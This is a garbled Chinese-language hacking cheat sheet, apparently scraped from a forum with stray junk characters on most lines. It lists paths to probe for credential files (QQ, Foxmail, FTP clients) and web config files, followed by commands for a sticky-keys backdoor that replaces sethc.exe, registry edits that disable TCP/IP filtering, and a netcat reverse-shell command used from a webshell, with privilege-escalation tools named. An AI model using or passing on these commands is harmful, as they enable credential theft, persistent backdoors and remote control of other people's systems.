c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
9 s* h1 ?( U) Bc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
; B1 i: S4 H4 |$ }" l# Kc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
# J) k# T8 {- |9 V+ Q' i/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
. C; P2 I+ Y7 U, w- Fc:\Program Files\Tencent\qq\User.db
1 q1 R7 D9 c5 w; E; m- jc:\Program Files\Tencent\qq\qq.exe
$ ^- d* b% D& t2 c# e0 f+ xc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
9 h% S; Z9 j0 \% A/ oc:\Program Files\Tencent\qq2010\bin\qq.exe
& _8 }1 X  G2 ~c:\Program Files\Tencent\qq\Users\All Users\Registry.db
7 y5 |) W& F& j) X1 SC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
9 x  B& S! O  |4 \6 w: YC:\Program Files\Foxmal\accounts.cfg
4 F8 r. z& p. A! e8 w& @; X  W4 mC:\Program Files\tencent\Foxmal\Foxmail.exe
0 w0 w" m, v4 s/ ?8 y7 TC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
. j% @1 x& u  ?+ W& sc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
, J9 _( J8 P4 W" y6 u1 `C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
/ {4 Y# [: A1 ?. Y3 Z. ^- hc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
+ }) f; o4 c$ M0 L, [c:\Program Files\tencent\QQGAME\readme.txt
  q) e. c$ l0 `( y, D# [C:\Program Files\StormII\Storm.exe

' E  M: _6 d$ E* p! e3.网站相对路径:

/config.php
../../config.php
../config.php
* S* f3 a: Y3 R1 t../../../config.php
$ ]& r8 B. m+ `5 E# I: ^/config.inc.php
./config.inc.php
) c2 X: w- v$ Z, m  L  R' `../../config.inc.php
../config.inc.php
$ I4 q  U5 F: o, n../../../config.inc.php
6 G- T' L* {% B% o6 y/conn.php
4 M; a  J  n) ]& P# S$ i( H./conn.php
! }# G' m1 h) \( U& }+ L../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
$ o5 i$ Z' `4 K- m, |6 `7 L../config.inc.php
../../../config.inc.php
3 m" O5 f/ q8 k6 b% d. I( \/config/config.php
6 N% U2 q. S' f3 n' x/ X6 @../../config/config.php
4 A5 R7 m$ e/ c9 q6 B0 C2 t; `; K../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
% p6 A8 R9 J! M4 {( z2 ]" j, a../../config/config.inc.php
6 R& v2 D9 K  j( H../config/config.inc.php
5 G8 T3 @' M9 o& g9 J9 j../../../config/config.inc.php
- K: ~  Q4 D9 h/config/conn.php
./config/conn.php
) k8 H# _& w# [../../config/conn.php
../config/conn.php
../../../config/conn.php
" @  ^; ^! ?/ l: e& M; N8 R/config/conn.asp
( X( N5 p% n9 e8 l- R+ p3 q6 C- O) [./config/conn.asp
/ P6 O, p1 ]7 R- p9 ^$ I. B../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
, U3 h+ N# q* h, E6 E! H. d6 k./config/config.inc.php
2 _5 U; O" b' z, V* [' c../../config/config.inc.php
3 c8 s4 f9 L7 [  O- P../config/config.inc.php
/ P9 F2 P  U  ^5 y../../../config/config.inc.php
/data/config.php
) ?* R; u' [& i7 r: F4 K../../data/config.php
../data/config.php
9 D4 T, b: M0 Z../../../data/config.php
, S9 M8 P7 s9 o5 Y: R/data/config.inc.php
6 r& J$ b* \6 I./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
+ l8 X# w- l0 ]% ?- e; H/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
8 M4 v* y1 F, `- k3 N( G4 O../../../data/conn.php
8 h# i7 `: J/ L* ?* a' Q/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
" F9 v8 f5 B4 G# g../../../data/conn.asp
/data/config.inc.php
/ W$ z8 j& b; T) h9 ?* W5 p1 ?./data/config.inc.php
../../data/config.inc.php
, M& j( E& e  [$ o) A6 a3 w../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
( m7 ]+ f9 ?* z& w$ K$ z; D5 C../../../include/config.php
/ W/ g. o% i# V/include/config.inc.php
- e# Y; U3 `. u/ C* ~7 ~./include/config.inc.php
9 V# `; {, s4 f+ Q# [../../include/config.inc.php
! z4 @9 D$ Y% `5 q5 m6 I4 }. R: d../include/config.inc.php
../../../include/config.inc.php
, L" c5 I  ]% B! j- ?; b/include/conn.php
0 k- Y% V! t! V./include/conn.php
' ?; _' z$ }: y# w" `../../include/conn.php
! B% J) Z* w* Q% {0 _( }../include/conn.php
1 v( ?, R2 {0 D; A../../../include/conn.php
/include/conn.asp
8 r: E3 G5 l* }$ u+ B. W./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
( Q7 d! l3 P8 e1 M+ Q6 w/include/config.inc.php
./include/config.inc.php
0 }* m7 {& U" X8 Q/ l../../include/config.inc.php
../include/config.inc.php
  B/ j% C8 r/ [../../../include/config.inc.php
/inc/config.php
" ~+ s' m- ~6 ^../../inc/config.php
3 u& S& p) ^' P1 z../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
% v' A0 M8 B/ j4 Y- Y$ b../../inc/config.inc.php
/ }2 [6 @" V8 H' D$ W. y../inc/config.inc.php
../../../inc/config.inc.php
% D7 Q- _0 e* q' ~/inc/conn.php
" j2 l9 X2 M% [& u9 s9 I( m, E./inc/conn.php
2 {1 `+ g5 G- y" G# a) R8 Q, e../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
! a- E- C& y3 ^$ B- ~../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
, q7 U1 A* J& J, v/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
/ e  @- R$ s7 P* q1 g../inc/config.inc.php
! t' L( W0 m5 k../../../inc/config.inc.php
% C4 T# @! G* E- @6 |/index.php
./index.php
../../index.php
../index.php
- g# Y5 E+ W% T( G( T5 p/ v$ J../../../index.php
/index.asp
./index.asp
../../index.asp
, D! j$ @/ P1 _7 L2 v../index.asp
../../../index.asp
替换SHIFT后门
; c- z. ]  F- _　attrib c:\windows\system32\sethc.exe -h -r -s
1 X; Z9 d- ]+ p) Z( }/ a7 w
& h% [" k) h1 c8 |& B1 g　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
; J/ |1 C+ @( L  S% x+ ?
　　del c:\windows\system32\sethc.exe
) b) P3 U6 r) H, @6 _
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
! h  j7 U. L" Q# |! g7 R5 ?& L' H
1 N3 k6 @3 h8 \% u6 P) M3 h　　attrib c:\windows\system32\sethc.exe +h +r +s
8 v' ^$ j( r! Q. d5 E
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
- z% P2 j. X( p* k$ X去除TCPIP筛选
& F3 C, l  ^6 M- q! r) V7 L" _TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
/ ?# [/ N! ~! K; E0 Y4 a: X* \- _3 xregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
9 A: d8 q! G, @, B$ s& a( V: aregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
) x# e* i# w& C" Qregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

$ r7 X' Q2 }* p+ c3 g3 }然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
& z% t$ M/ n4 l% N& X. e, n* k
再将以上三个文件分别用
regedit -s D:\a.reg
* W4 L  l0 G4 e, z, n. j  n, ?regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
( e9 J5 e  r' t& Y& Mcmd路径:
0 K7 A% N3 N  z5 n, V, n- sc:\windows\temp\cmd.exe
nc也在同目录下
, L5 {/ T1 @! N2 p, ?8 |  t( L( c0 A例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
! q; Y, o. n( ]* o
, J5 b& q* I$ Y% V" E) t而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
' l1 L5 b9 Y; M: _" z命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
$ O1 \+ E# N8 C这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功